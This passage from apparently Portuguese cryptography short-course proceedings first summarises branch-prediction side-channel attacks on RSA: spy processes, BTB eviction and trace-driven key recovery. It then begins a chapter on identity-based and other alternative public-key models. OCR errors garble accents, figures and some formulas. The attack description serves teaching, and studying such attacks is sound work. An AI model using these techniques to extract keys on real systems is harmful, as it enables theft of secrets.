de modo que essas eram tidas como seguras a essa categoria de ataque.

Paralelismo de instrucoes e preditor de saltos

Desde o surgimento dos primeiros processadores modernos, diversas técnicas de con-
stru¢do foram criadas visando rdpidas melhorias no desempenho dos processadores. Na
década de 1960 surgiram processadores com estdgios distintos de execugdo (pipelined
processors); na década de 1980 processadores capazes de executar instrugdes especulati-
vamente [Hennessy and Patterson 2002]. Essas técnicas, que exploram paralalelismo de
instrugdes (ILP ou Instruction Level Parallelism) necessitam de mecanismos sofisticados
de predicao dos saltos (in)condicionais executados durantes a execucdo do programa, de
modo que a unidade de processamento praticamente nao fique ociosa.

Estudos recentes [Jean-Pierre et al. 2006, Aciicmez et al. 2007] demonstraram que
seria possivel, através de medi¢Oes das diferencas dos tempos de acertos e erros das
unidades de predicdo de salto, determinar a chave privada de um sistema RSA utilizando
um processo espido [Milenkovic et al. 2004]. Apesar desse ataque consistir de andlises
de tempo, ele também € denominado Branch Prediction Analysis, uma vez que o tempo €
utilizado para inferir valores do preditor de saltos.
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Unidade de predicao de saltos

As instrugdes que compdem o cédigo bindrio de um programa executdvel podem con-
sumir diferentes quantidades de ciclos de clock de acordo com suas respectivas complex-
idades. Como no decorrer do fluxo de programas podem existir diversas dependéncias
entre as instrugdes executadas, existe a possibilidade de que valores necessérios para a
execugdo de uma determinada instru¢@o ainda ndo tenham sido calculados.

Quando a instru¢do depende um salto condicional, entdo essa situa¢ido é denomi-
nada control hazard. Para que o processador ndo permanega ocioso até que o fluxo do pro-
grama seja definido, durante o periodo de decisdo ele especula qual devera ser a proxima
instrugdo executada. Se a predicao se mostrar correta (hit) o fluxo do programa prossegue
sem degradagdo de desempenho; caso a predi¢do se mostre incorreta (miss prediction), o
pipeline deve ser esvaziado e a instrugdo correta tomada. Observe que uma miss predic-
tion acarreta em uma penalidade de ciclos de clock que € proporcional a quantidade de
estdgios do pipeline.

Quando a CPU determina um salto como tomado, ela deve buscar a instrucao do
endereco alvo do salto na memoria e entregd-la a unidade de execucdo. Para tornar o
processo mais eficiente, a CPU mantém um registro dos saltos executados anteriormente
no BTB (Branch Target Buffer). Observe que o tamanho do BTB ¢ limitado; logo, alguns
enderecos armazenados precisam ser expulsos para que novos endere¢os sejam armazena-
dos. O preditor também possui uma parte denominada BHR (Branch History Registers)
responsdvel por gravar a histéria dos registradores usados globalmente e localmente pelo
programa. [Jean-Pierre et al. 2006].

\_O— target address

branch address L~
B C— next seq. addr.

BHR
global

__m| L

local

I
L T

@j@j

32
-

Figura 1.25. Unidade de predicao de saltos [Jean-Pierre et al. 2006].
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Medicao direta de tempo

A maquina de estados que descreve as possiveis decisdes da BTU possui um nimero
finito de estados; logo, o algoritmo que a descreve € deterministico. O adversdrio pode
assumir que a implementacdo do RSA utilizou S&M (Square-and-Multiply exponenti-
ation algorithm) e MM (Montgomery Multiplication algorithm [Hankerson et al. 2003,
Denis 2006]) e o BTU possui um automato finito de apenas dois estados: salto tomado ou
nao tomado.

Seja d a chave privada, vamos supor que o adversdrio conhece seus i primeiros
bits e estd tentando determinar d;. Para qualquer mensagem m, o adversério pode simular
as primeiras i iteragdes e obter um resultado intermedidrio que serd a entrada da (i +
1)—ésima iterag@o. Entdo ele gera quatro conjuntos distintos tais que:

M, ={m| d; =1 — m causa missprediction durante MM }

M, ={m | d; =1 — m causa hit durante MM }
M3 = {m | d; = 0 — m causa missprediction durante MM }
My ={m|d; =0 — m causa hit durante MM }

O adversério calcula o tempo médio de execu¢do na multiplicacdo de Montgomery em
cada conjunto M;. Sendo d; =t,t € {0,1}, a diferenca dos tempos médios de execucdo
para o mesmo valor correto ¢ serdo muito mais significativas do que a obtida dos outros
dois conjuntos, pois, para o valor incorreto, os valores de tempo de cada multiplicagdo
terdo um caracter aleatério. Esse € o mesmo processo estatistico da andlise diferencial
de poténcia. Portanto, se a diferenca entre os tempos médios de M| e M, for muito mais
significativa do que M3 e My, entdo o palpite correto € d; = 1, e d; = 0 caso contrério.

Nesse ataque o adversario precisa saber de antemao o estado do BPU antes do al-
goritmo de decriptagdo ser iniciado. Uma possibilidade de simples implementacao, porém
menos eficiente, seria realizar a andlise supondo cada um dos quatro estados iniciais. A
segunda abordagem consiste em forcar o estado inicial do BPU de modo que nenhum en-
dereco de salto esteja no BTB. Essa abordagem serd fundamentalmente a mesma utilizada
em todos os ataques de predi¢ao de salto listados a seguir.

Forcando BPU a mesma predicao assincronamente

Unidades de processamento que permitem execucao concorrente de processos (SMT ou
Simultaneous Multi-Threading [Silberschatz et al. 2004]) permitem que um adversario
execute um processo espido simultaneamente ao programa de encriptagdo. Dessa forma,
o adversdrio pode fazer com que o valor previsto dos saltos do encriptador nunca estejam
no BTB; conseqiientemente, sempre ocorrerd um missprediction quando o resultado cor-
reto, segundo a previsio, seria que o salto fosse tomado. Comparado ao processo anterior,
a andlise diferencial seria similiar exceto pelo fato de que d; = 1 em caso de hite d; =0
em caso de missprediction durante o cédlculo de m?> mod N.

O processo espido remover do BTB o endereco alvo de salto dos seguintes modos:
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1. (Total Eviction Method: todas as entradas do BTB sdo expulsas.
2. (Partial Eviction Method): um conjunto de entradas do BTB € expulso.

3. (Single Eviction Method): apenas endereco de interesse € expulso da tabela.

Obviamente o primeiro método é o de mais simples implementacao (assumindo
que sejamos capazes de esvaziar todo o BTB entre duas iteracdes da exponenciacdo). O
diferencial desse ataque € o adversario ndo ter que saber detalhes de implementacdo da
BPU para ser capaz de criar o processo espido e determinar quais sao os bits da chave

secreta.

(a) Separacoes corretas e aleatdrias

Total Eviction Method

Correct Random
Separation | Separation

Mean | 58.91 1.24

Deviation | 62.58 34.78

Clock Cycles

Correct Separation

Random Separation

Mean

Deviation

(b) Maior diferenca das médias

Figura 1.26. Resultados praticos do Total Eviction Method [Jean-Pierre et al. 2006].

Esse ataque foi aplicado sobre uma implementagdo do RSA em OpenSSL versao
0.9.7, rodando sob uma workstation RedHat 3. Foram gerados 10 milhdes de blocos de
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mensagens aleatdrias e chaves aleatérias de 512 bits. As mensagens foram encriptadas e
separadas segundo os critérios acima, sendo assumido como tomado o salto do préximo
bit desconhecido.

Na Figura 1.26 (a), o eixo x corresponde aos bits do expoente de 2 até 511, sendo
que cada coordenada x; apresenta os valores das médias das separacdes correta e a média
das separagdes aleatdrias, denotadas respectivamente por Uy, € Uy,. Analizando todos
os pares (My, ly;), o adversdrio verifica qual deles teve a diferenca mais significativa
(Figura 1.26 (b)) e utiliza seus respectivos desvios padrdes para determinar o desvio da
diferenca das médias

Lz = ly — tx = 58.91 — 1.24 = 57.67

07 =[G} + 0 = /62582 — (34.78)2 = 71.60

Sempre que o adversario encontrar Z > 0, ele ird supor que seu palpite do valor
do bit foi correta. O grau de certeza que o adversario pode ter nessas decisdes pode ser
medido através da probabilidade:

0—puz
Oz

PriZ > 0] =¢( ) =¢(—0.805) =0.79
Portanto, a probabilidade de suas decisdes estarem corretas para essas medidas é
de quase 80%.

Forcando BPU a mesma predicao sincronamente

No ataque anterior, o adversario ndo precisava sincronizar 0 processo espiao com a exe-
cucdo do programa de decriptacdo. Entretanto se ele fosse capaz de fazé-lo, poderia es-
vaziar o BTB apenas no passo imediatamente anterior a iésima exponenciagdo, tornando
o processo muito mais eficiente. O adversario ird supor que a implementacdo do RSA
utiliza o algoritmo S&M e se a sentenca if foi usada como alvo do salto condicional.

O adversério executa o RSA para textos claros conhecidos € mede o tempo de
execucdo. Em seguida reexecuta o programa aplicando imediatamente antes da iésima
execugdo uma single eviction no BTB. Como o salto € tomado ou nio de acordo com o
valor de d;, se ele o supor como tomado, entdo ocorrerd um missprediction e serd perce-
bido um atraso na segunda execu¢do. Logo, o adversério pode determinar todos os bits da
chave secreta d analisando o tempo de execugao de cada iteracao.

Trace-Driven Attack

Todas as abordagens anteriores foram focadas na medicao dos tempos gastos pelos saltos
do programa de decriptacdo, enquanto esta abordagem monitora os saltos do programa
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Figura 1.27. Conectando os misses induzidos no BTB e a diferenca de tempo do
S&M [Jean-Pierre et al. 2006].

espido. Iremos supor que inicialmente a CPU prevé o salto do decriptador como ndo
tomado.

O adversdrio inicia seu programa antes do software criptografico e continuamente
executa saltos de modo que eles ocupem as mesmas entradas no BTB. Quando ocor-
rer um missprediction de um salto que deveria ser tomado, a CPU ird expulsar uma das
entradas no BTB utilizadas pelo programa espido e inserir o endereco de salto do decrip-
tador. Conseqiientemente, ao retomar a execu¢do, o programa espido também sofrera um
missprediction. Dessa maneira, o adversario é capaz de determinar quando o BTB foi
modificado pelo decriptador e determinar os bits da chave.

As medigdes de tempo foram realizadas no inicio da multiplicacdo de Mont-
gomery, fornecendo o tempo de apenas uma das operacdes realizadas (squaring ou mul-
tiplicacdo). Sendo N a quantidade de amostras por bit da chave, quanto maior seu valor
mais discrepantes serdos as diferencas entre as duas operacdes, como mostra a Figura 1.27
com amostragens 100 a 100000. No caso de N = 10000, também ¢é possivel ver na
Figura 1.28 os bits d; € {dg9,dj04}, demonstrando como a partir desse ponto € trivial
determinar a chave secreta.

Melhorando o Trace-Driven Attack

Nos quatro ataques sobre o BPU mostrados até agora foi utilizada andlise diferencial
das medig¢des de tempo, sendo necessdrias quantidades enormes de amostragens a fim de
determinar o correto valor da chave. Um segundo estudo do autor [Aciigmez et al. 2007]
demonstrou ser possivel diminuir bruscamente a quantidade de amostragens necessarias
no ataque Trace-Driven.

O ataque € realizado como um Trace-Driven usual, onde o programa espido ex-
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Figura 1.28. Diferencas entre S&M entre iterac6es 89 e 104 para 10 mil medi¢coes
[Jean-Pierre et al. 2006].

ecuta uma seqiiéncia fixa de ¢ saltos para expulsar os enderegos alvos do BTB. Os au-
tores perceberam que, de acordo com a arquitetura do processador, existe um ¢ 6timo que
pode ser experimentalmente determinado. Aumentando a durag@o de ciclos dos saltos
do processo espido, as diferencas de tempo tornam-se muitos mais significativas e facil-
mente perceptiveis com uma amostragem muito menor, economizando de mil a 10 mil
amostragens em relacdo ao Trace-Drive Attack original. Isso permite que a chave seja
determinada com apenas uma medicao por bit. A Figura 1.29 mostra como a precisao dos
valores dos bits obtidos sdo influenciados pela quantidade de ciclos gastos pelo saltos do
programa espidao de modo que quanto maior a duracdo do salto, maior € a precisao dos
valores dos bits.

Porém ndo pode ser esquecido que os aplicativos estdo sendo executados em
um sistema SMT, logo a troca e contexto dos processos pode eventualmente afetar as
medigdes de tempo. Sob uma 6tica estatistica, se o advsersario executar algumas amostra-
gens, algumas delas serdo menos afetadas do que outras pela concorréncia dos aplicativos.

A Figura 1.29 mostra quatro de dez amostragens independentes. Tomando a mel-
hor amostragem, o adversdrio foi capaz de revelar corretamente 508 dos 512 bits da chave
secreta.
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Figura 1.29. Simple branch prediction [Aciigmez et al. 2007].

1.5. Consideracoes finais

Algoritmos criptograficos sdo conhecidos pela elevada quantidade de processamento em
sua execu¢do,. Assim, um dos grandes desafios em defesas contra ACS puramente via
software € conseguir prover a garantia do ndo-vazamento de informagdes sem compro-
meter a eficiéncia dos aplicativos. Deve-se ficar atento para que as proprias medidas
nao possibilitem um vazamento de informagdo. Além disso, a implementacdo do algo-
ritmo de defesa deve passar por uma anélise criteriosa, principalmente no que se refere
a otimizacdes realizadas pelo compilador. No caso de cédigo reduntante, ele poderia ser
simplesmte removido e esse fato passar despercebido pelo desenvolvedor.

Existe hoje uma grande proliferacdo de dispositivos embarcados ao nosso redor
sem que nos demos conta. FEles estdo presentes em automéveis, televisores, celular,
cartdes de bancos, PDAs, etc. e cada vez mais sdo capazes de comunicarem-se entre si.
A principal questdo a qual devemos ficar atentos ndo € o tanto fato de eles muitas vezes
trocarem de dados sigilosos, mas sim 0 nosso desconhecimento sobre essas transagdes.
Com a acessibilidade do hardware e baixo custo de equipamentos necessarios para efet-
uar certos tipos ataque, é¢ fundamental que medidas elaboradas de seguranca criptografica
sejam utilizadas a fim de garantir a seguranca e privacidade de nossos dados.

Possivelmente, devido ao fato das publicacdes utilizadas em nossa pesquisa serem
recentes, ndo foram encontradas medidas eficazes de protecdo contra os ataques de andlise
de preditor de salto, andlise de falhas aplicadas na assinatura de RSA e andlise eletromag-
nética do PDA Java. O ataque ao preditor de saltos mostrou-se 0 mais nocivo porque, ao
contrério de todos os outros apresentados, ndo seria necessario acesso fisico ao dispositivo
de hardware para executd-lo. Entretanto ndo sabemos se ele seria aplicavel as plataformas
com multiplas unidades de processamento [Akhter and Roberts 2006], pois ndo ha garan-
tias de que o processo invasor sempre seja alocado no mesmo nicleo de processamento
que o processo criptografico.
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Abstract

In this short course some difficulties about public key infrastructure are reviewed and it
is showed how to reduce them with four alternative models in assymetric cryptography:
identity-based, self-certified, certificateless and certificate-based. This study starts with
the conceptual analysis of each model, and presents advantages and disadvantages, pos-
sible applications and use contexts. A selection of protocols and code portions illustrate
the behavior of models and introduce to the students useful tools to develop new applica-
tions.

Resumo

Neste minicurso sdo revisadas algumas das dificuldades relacionadas a infraestrutura de
chaves puiblicas (ICP) convencional e como elas podem ser minimizadas por meio do uso
de quatro modelos alternativos de criptografia assimétrica: baseado em identidade, auto-
certificado, sem certificados (certificateless) e baseado em certificado (certificate-based).
A partir da andlise conceitual de cada modelo, sdo expostas vantagens e desvantagens,
discussoes sobre possiveis aplicacoes e contextos de uso. Uma selecdo de protocolos
e pequenos trechos de codigo ilustram o funcionamento dos modelos e introduzem aos
alunos ferramentas titeis para o desenvolvimento de novas aplicacoes.

!Projeto Fapesp n° 2008/06189-0
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2.1. Introducao

A criptografia de chave publica surgiu com a busca por solugdes para dois problemas
intrinsecamente relacionados com o modelo de criptografia simétrica: como distribuir
uma chave secreta e como autenticar alguém, com garantia de irretratabilidade?

Ambos problemas foram brilhantemente abordados em [Diffie e Hellman 1976]
e nasceu um novo paradigma para a criptografia, a de chave publica. Nesse modelo,
também chamado de assimétrico, todo usudrio possui um par de chaves, uma publica e
outra secreta. A chave publica pode ser divulgada por meio de um canal publico e ser
usada para cifrar mensagens. A chave secreta € usada para decifrar e ndo precisa ser
transmitida. Naquela ocasido, Diffie e Hellman apresentaram um protocolo de acordo
de chave secreta sobre canal inseguro e definiram os principios de funcionamento da
assinatura digital.

E natural que um novo paradigma traga consigo novos problemas. Com a crip-
tografia de chave publica, ndo foi diferente. Um problema central nesse modelo € o de
legitimagdo da chave publica. Como garantir que uma chave publica pertence, de fato, a
alguém? Uma solucdo que se tornou prética comum € a de implantagdo de uma infraes-
trutura de chaves ptblicas (ICP, ou PKI — Public Key Infrastructure), cuja marca sao os
certificados digitais de chave publica. Tal solu¢do, entretanto, embute algumas dificulda-
des, como as resumidas abaixo:

e processos complexos de implantacao e manutencdo da infraestrutura;
e custos de emissao, distribui¢do e armazenamento de certificados;
e custos para recuperar e validar certificados;

e dificuldades com revogacdo de certificados.

Ha pelo menos dois caminhos para minimizar essas dificuldades: modificar o mo-
delo de ICP (que ndo € nosso foco) e modificar o modelo de criptografia de chave publica.
Esta dltima abordagem da origem ao que chamamos de modelos alternativos.

O objetivo deste texto € apresentar quatro modelos de criptografia de chave publica
alternativos que dispensam a ICP convencional ou que a simplificam. Sao eles, o modelo
baseado em identidade, o de chave publica autocertificada, o0 modelo sem certificados
e o baseado em certificado. Este dltimo, apesar do nome sugerir o modelo tradicional
com certificados X.509, € alternativo por variar na forma de geragdo, distribuicao e uso
do certificado. Optamos por adotar as nomeagdes dadas originalmente pelos autores,
simplesmente as traduzindo respectivamente de identity-based, self-certified public key,
certificateless e certificate-based.

Mostraremos, na secdo 2.2, que pequenas modificacdes nos parametros que con-
cebem o modelo de criptografia de chave publica podem induzir um modelo diferente e
criar um novo paradigma de criptografia assimétrica. Conforme dissemos anteriormente,
novos paradigmas tendem a criar novos problemas. As vezes, os problemas nio sio pro-
priamente novos, mas sao inexistentes no modelo convencional com ICP. Portanto, pre-
tendemos confrontar propriedades, vantagens e desvantagens de cada modelo, para que
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seja possivel uma andlise mais apurada e realista por aqueles que intencionam implantar
novos criptossistemas de chave publica, minimizando efeitos colaterais de uma ICP.

Na se¢do 2.3, apresentaremos detalhes de construcao, alguns algoritmos e protoco-
los selecionados e possiveis aplicagdes. Seguem posteriormente, na se¢io 2.4, compara-
¢oOes gerais entre os modelos, consideracdes sobre implementagdo, sugestdes de trabalhos
futuros e conclusdes.

Antes de tudo, revisamos na proxima subsecao alguns conceitos em criptografia
de chave publica, importantes para a compreensdo dos modelos alternativos. Descri¢cdes
mais detalhadas de fundamentos de criptografia e seguranca podem ser obtidas em livros
como [Mao 2003] e [Terada 2008].

2.1.1. Conceitos Preliminares

Em criptografia de chave publica, todo usudrio tem um par de chaves (s,P). A chave
publica P estd matematicamente relacionada com a chave secreta s, de forma que:

e P ¢ calculada a partir de s, mas

e a partir do valor de P, é computacionalmente invidvel descobrir s.

Desse modo, podemos escrever genericamente que P = f(s), onde f é uma fungdo
injetora. As vezes, a fungio f inclui pardmetros do sistema ou outros dados. Por exemplo,
na cifragem de ElGamal, P = g°, onde g é um pardmetro do sistema. Eventualmente, f
pode parecer complexa e, em implementacdes concretas, pode até ser codificada por um
algoritmo probabilistico ou s ser calculada a partir de P. Mas, por simplicidade, basta
pensar que a chave publica € funcdo da secreta.

Ora, se a chave publica € apenas resultado de um cdlculo, como comprovar que
esse calculo estd unica e exclusivamente associado a alguém que conheca o valor secreto
s que o gerou? Em criptossistemas de chave publica, se ndo houver uma garantia de
legitimidade da chave publica, nao havera seguranca alguma.

Uma solucdo para a legitimacao de chaves publicas que nos interessa revisar aqui €
a baseada em certificados digitais. Para se garantir que (s, P) pertence a um certo usuario
com identidade ID, introduzimos uma entidade confidvel que chamaremos de Autori-
dade de Confianga (AC), ou autoridade certificadora. AC tem seu préprio par de chaves
(s,.,P,) e emite certificados digitais que atestam que um certo valor P pertence a uma
entidade identificada por /D. Todos que confiarem na autoridade, usardo P certos de que

estardao se comunicando com ID.

Um certificado digital (no modelo convencional) nada mais é do que um do-
cumento que contém, na esséncia, dados sobre /D, sua chave publica P, dados sobre a
autoridade AC, além de uma assinatura digital de AC que assegura a validade dos dados
do certificado. Portanto, a assinatura no certificado é uma garantia de que a chave P
estd associada com /D. Podemos interpretar essa assinatura como uma fun¢do que tem na
entrada a chave publica P, a identidade ID e a chave secreta da autoridade s, ..

Uma ICP nada mais € do que um agregado de hardware, software, pessoal espe-
cializado e procedimentos, para gerenciar todo o ciclo de vida dos certificados: da sua
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criagdo, distribui¢cdo até sua renovagao ou revogacao. Alguns aspectos do funcionamento
dessa infraestrutura serdo revistos ao longo do texto, conforme se fizer necessdrio.

Os principais atributos da criptografia de chave publica, no modelo convencional
sobre ICP, sdo sintetizados na tabela 2.1. Durante a analise dos modelos alternativos, ve-
remos que a variagdo desses atributos modifica sensivelmente as propriedades do modelo.

Tabela 2.1. Atributos do modelo convencional de criptografia de chave publica.

Chave secreta Chave publica Garantia
s P=f(s) fUD,P;s,.)
+ I + — % ‘ :
a3 -%f o917
de Confianga
escolhida pelo usudrio calculada pelo usudrio calculada pela autoridade,
(ou pela autoridade) (ou pela autoridade) exclusivamente

Para cifrar uma mensagem para o dono de P ou para verificar uma assinatura dele,
os usudrios usam o valor da chave P, obtido do certificado (ver a figura 2.1).

Para decifrar uma mensagem destinada ao dono de P ou para que este crie uma
assinatura, é necessdria a chave secreta s correspondente.

. Canal de Transmisséao
Alice Beto
:?
Certificado

Beto =
I ™ 5§ {25
Texto Chave Texto Chave

em claro Publica cifrado Privada

Beto Beto

Figura 2.1. Cifrando no modelo convencional com ICP

Quando dissemos que a autoridade do sistema deve ser uma entidade de confianca,
ndo entramos no mérito sobre o que significa confianga. Em [Girault 1991], sdo defini-
dos os trés niveis abaixo, que indicam o grau de credibilidade que devemos depositar na
autoridade.

Nivel 1: a autoridade conhece (ou calcula facilmente) chaves secretas dos usuarios; pode
personificar qualquer entidade sem ser detectada;

Nivel 2: a autoridade desconhece (ou dificilmente calcula) chaves secretas dos usudrios;
pode personificar qualquer entidade, gerando falsas chaves publicas, sem ser detec-
tada;
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Nivel 3: a autoridade desconhece (ou dificilmente calcula) chaves secretas dos usudrios;
pode personificar qualquer entidade, porém é detectada.

No modelo com ICP e certificados de chave publica X.509, a autoridade alcanca
nivel 3, o mais desejavel. Os modelos alternativos, muitas vezes caem em niveis mais
baixos e, consequentemente, a autoridade tem mais poder e 0s usudrios precisam confiar
mais nela.

2.2. Modelos Alternativos: Conceitos e Propriedades

Nas proximas quatro subsecoes, descreveremos os principios de funcionamento dos mo-
delos alternativos, as premissas, propriedades, pontos fortes e fracos de cada um, de forma
conceitual, sem citarmos algoritmos nem protocolos, por enquanto.

2.2.1. Criptografia de Chave Piublica Baseada em Identidade

A ideia central da criptografia de chave publica baseada em identidade € muito simples.
Se € um problema o fato da chave publica ser um valor numérico sem sentido explicito,
por que ndo calcular a chave secreta a partir da publica, que passa a ser uma cadeia de
caracteres com algum significado? Em [Shamir 1984], foi proposto que a chave publica
fosse a propria identidade do usudrio, como nome, endereco de email, CPF, nimero de
telefone celular, endereco IP, nimero serial de dispositivos eletronicos, etc.

Se a chave publica é predeterminada (igual a identidade), como, entdo, calcular
a chave secreta? A resposta a essa questdo vem junto com as primeiras premissas de
seguranca do modelo: existe uma AC, com as seguintes atribui¢des principais:

e Criar e manter a guarda segura de uma chave mestra secreta s, .;
e Identificar e registrar todos usudrios do sistema;
e Calcular as chaves secretas dos usuarios;

e Entregar as chaves secretas de forma segura (com sigilo e autenticidade).

Em 1984, Shamir descreveu o modelo e algoritmos para assinatura digital. Foram
necessarias quase duas décadas até que fossem descobertos algoritmos de cifragem efici-
entes e demonstrados seguros, para que o modelo baseado em identidade despertasse um
interesse renovado nos pesquisadores e na industria.

Para fins de comparacgdo, na tabela 2.2, vé-se que a chave secreta é calculada em
fun¢do do segredo da autoridade do sistema e da identidade do usudrio. Para uma f
conveniente, € invidvel recuperar a chave mestra a partir dos valores de /D. E somente
a autoridade é capaz de gerar as chaves secretas, de modo que a prépria secreta s € a
garantia de que o uso de /D funcionard nas operacdes criptograficas envolvendo o dono
dessa identidade.

Para cifrar uma mensagem para o dono de /D ou para verificar uma assinatura
de ID, os usudrios usam a identidade /D mais os parametros publicos do sistema, que
incluem a chave publica da autoridade (ver a figura 2.2).
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Tabela 2.2. Atributos do modelo de criptografia de chave publica baseada em identidade.

Chave secreta Chave publica Garantia
s=f(ID,s,.) ID s
Ly %l + 2= —|J— El
dgﬂz:zzgza Usuario Usuario
calculada pela autoridade e escolhida pelo usudrio ou
compartilhada com o usudrio formatada pela autoridade

Para decifrar uma mensagem destinada a /D ou para que este crie uma assinatura,
€ necessdria a chave secreta de ID.

Vantagens

O modelo baseado em identidade € atraente por apresentar varias vantagens interessantes.
A primeira € que a chave publica pode, em grande parte dos casos, ser memorizdvel por
humanos. Muito diferente da chave publica convencional, que costuma ser uma cadeia
bindria com centenas ou milhares de bits. A identidade pode ser informada pelo préprio
usudrio aos seus parceiros € nao hd a obrigatoriedade de manutencdo de diretérios de
chaves.

Se houver credibilidade na autoridade do sistema e no contetido identificador da
identidade, a certificacdo ocorre implicitamente. Tornam-se dispensdveis os certificados
digitais e, mais ainda, a infraestrutura que os gerencie. Como consequéncia, muitos pro-
cedimentos existentes sobre uma ICP deixam de existir nos sistemas baseados em identi-
dade.

Para que seja possivel visualizar a economia de tempo de processamento, de cus-
tos de armazenamento e de transmissdes de dados, vamos relembrar, por exemplo, como
¢, de maneira geral, uma operagdo de cifragem com ICP. Para Beto cifrar uma mensagem
para Alice, antes de tudo, ele deve obter o certificado que fora emitido para a Alice (con-

Al |Ce Canal de Transmissao B eto

T
[

Identidade

Bito %% ™ a + ? — ||/ |—

Texto Chave '!'exto C_have
em claro Publica cifrado Privada
AC Beto

Figura 2.2. Cifrando no modelo baseado na identidade
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sultando um diretdério publico ou a propria Alice). De posse do certificado, Beto precisa
verificar o periodo de validade e a assinatura contida no certificado. A verificacdo da
assinatura é um processo que, as vezes, percorre todo o caminho de certificacdo das au-
toridades certificadoras envolvidas na hierarquia, até se chegar a autoridade certificadora
raiz. Se até este ponto, nada falhou, Beto pode guardar o certificado da Alice para futuros
usos. Entretanto, antes de cada uso, Beto precisa consultar uma autoridade de validacao,
para verificar se o certificado nao foi revogado (quase sempre, um procedimento de con-
sulta a um servidor que esteja on-line). Estando o certificado vélido e ndo revogado, Beto
extrai a chave publica da Alice, cifra a mensagem e transmite.

No modelo baseado em identidade, basta que os parametros do sistema sejam
auténticos (no modelo com ICP também ¢é preciso que os parametros do sistema sejam
auténticos). Satisfeita essa condi¢do, as operacdes de Beto para cifrar com base na iden-
tidade se resumem a obter o identificador da Alice, cifrar e enviar (considerando-se que
revogacao de identidade € tratada como explicado adiante).

Uma peculiaridade do modelo baseado em identidade € o fato da chave publica
poder ser usada antes do cdlculo da chave secreta. Assim, € possivel cifrar uma mensagem
para quem ainda ndo se registrou junto a autoridade do sistema nem possui chave secreta
de decifragem. Por contraste, no modelo com certificados, o usudrio deve primeiramente
se registrar e obter seu certificado, para entdo poder receber uma mensagem cifrada sob
sua chave publica.

Desvantagens

O prego a pagar por todas essas vantagens € uma série de desvantagens, que, em alguns
contextos, podem ser muito criticas.

A primeira desvantagem, que € caracteristica de sistemas baseados em identidade
“puros” (isto é, sem modificacdes que tentam minimizar ou eliminar os efeitos dessa
caracteristica) é a custédia de chaves. Conforme explicado anteriormente, a autoridade
do sistema tem a capacidade de gerar as chaves secretas de todos os usudrios sob sua
responsabilidade. Isso implica que a autoridade alcanca nivel 1 de confianga, na definicao
de [Girault 1991]. Consequentemente, pode decifrar quaisquer textos cifrados a que tiver
acesso (se puder identificar a identidade do destinatdrio). Também pode assinar em nome
de qualquer usudrio e ndo hd como garantir irretratabilidade. Portanto, ¢ fundamental que
a autoridade do sistema seja confidvel o bastante para que ac¢des de bisbilhotagem ou de
falsificacdo como essas sejam controlaveis.

A propriedade de custddia de chaves, referenciada por key escrow nos textos em
inglés, nem sempre € indesejavel. Dentro de uma empresa, por exemplo, se todos os do-
cumentos e dados sensiveis sdo cifrados pelo funciondrio que o gerou, a diretoria pode ter
acesso a decifragem em caso de morte ou desligamento do funciondrio. Quando houver
necessidade de monitoria do contetido de emails cifrados, também pode ser justificdvel a
custédia de chaves. No entanto, para a maioria das aplica¢des, custédia de chaves € uma
desvantagem.

Outro ponto desfavordvel ao modelo baseado em identidade € a necessidade de
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um canal seguro para distribuicao das chaves secretas. Se a entrega ocorrer num ambi-
ente em rede e remotamente, hd que se garantir autenticagdo mutua e entrega com sigilo.
Para podermos comparar, no modelo sobre ICP, a autentica¢do frequentemente acontece
durante o registro do usudrio junto a autoridade de registro (muitas vezes presencial), mas
nao hd transmissao nem compartilhamento de segredo.

Do lado do usudrio, a guarda da chave secreta deve ser a prova de perdas e roubos,
o que sugere o uso de mecanismos adicionais para protecdo da chave, como dispositivos
de hardware, senha ou desafio/resposta. E sempre que for necessdrio renovar a chave
secreta, € obrigatdria a interacdo do usudrio com a autoridade do sistema. Esses aspectos
de guarda e renovacdo parecem ser equivalentemente implementados nos modelos com
ICP e baseado em identidade.

O risco de comprometimento da chave mestra no sistema baseado em identi-
dade é muito alto, maior que no modelo convencional. Sobre a ICP, o comprometimento
da chave secreta da autoridade potencialmente leva a criacdo de certificados falsos de cha-
ves publicas. Portanto, sdo afetadas as operagdes que ocorrerem num momento posterior
ao comprometimento da chave mestra. Ja no modelo baseado em identidade, quando a
chave mestra € roubada ou perdida, operagdes criptograficas do passado e do futuro es-
tao comprometidas, para todos os usudrios sob a autoridade em questdo. Qualquer texto
cifrado capturado podera ser decifrado, se o intruso souber as identidades, e independen-
temente se a cifra foi gerada antes ou depois do vazamento da chave mestra.

Outra preocupacdo que se deve ter no modelo baseado em identidade € a possibili-
dade de revogacao de identidades. Caso a chave secreta de um usudrio seja comprome-
tida, sua identidade deve ser revogada. Portanto, ndo € recomenddvel usar simplesmente o
numero do CPF ou do telefone celular, por exemplo, como identificador de usudrio. Nem
sempre € possivel canceld-los. Uma alternativa € concatenar ao identificador principal
um periodo de validade, como em JoaoSilva-deJan09aDez09. Caso esse usudrio
tenha seu segredo comprometido, nova chave secreta poderia ser gerada para uma nova
identidade, como JoaoSilva-deAgo09aDez09. No entanto, pode ndo ser trivial ga-
rantir que ninguém use a antiga identidade comprometida. Diminuir a granularidade do
periodo, por um lado pode ajudar, por outro, sobrecarregard a autoridade, que terd que
renovar as chaves com maior frequéncia (e vale lembrar que a cada renovagdo o canal
seguro deve ser restabelecido).

Caracteristicas Adicionais

Como observado por [Shamir 1984], o modelo baseado em identidade € ideal para gru-
pos fechados de usudrios, como executivos de uma multinacional ou filiais de um banco,
uma vez que a sede dessas corporacdes podem servir como autoridade do sistema, em
que todos confiam. Aplicacdes de pequena escala, em que os custos com implantagcdo e
manuten¢do de uma ICP sejam proibitivos, sdo candidatas ao uso do modelo baseado em
identidade. Quando as desvantagens citadas anteriormente nao forem criticas, as caracte-
risticas do modelo possibilitam implementacdes interessantes.

Vale evidenciarmos a flexibilidade de defini¢do da chave publica. A cadeia de
caracteres associada com a identidade pode, em principio, ser qualquer coisa. A con-
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catenagdo de indicadores de tempo e atributos possibilitam aplicagdes em servigos com
disponibilidade temporal ou sigilo no envio de mensagens com base em papéis, como
descrito em [Misaghi 2008].

Alguns exemplos de servicos com disponibilidade temporal: documento confi-
dencial que possa ser revelado a imprensa ou a um grupo particular, somente a partir de
determinada data e hora; lances de um leildo que devem ser mantidos em segredo até o
fim das negociagdes; ou exibi¢do de um filme que deve ser habilitada somente dentro do
periodo de locacgado contratado.

Virios trabalhos foram desenvolvidos para adaptar o modelo baseado em iden-
tidade a hierarquias de autoridades, dentre os quais, o de [Gentry e Silverberg 2002] é
um dos pioneiros. Uma das vantagens em trabalhar de forma hierdrquica € divisdo da
responsabilidade da autoridade do sistema com autoridades subordinadas. E isso traz
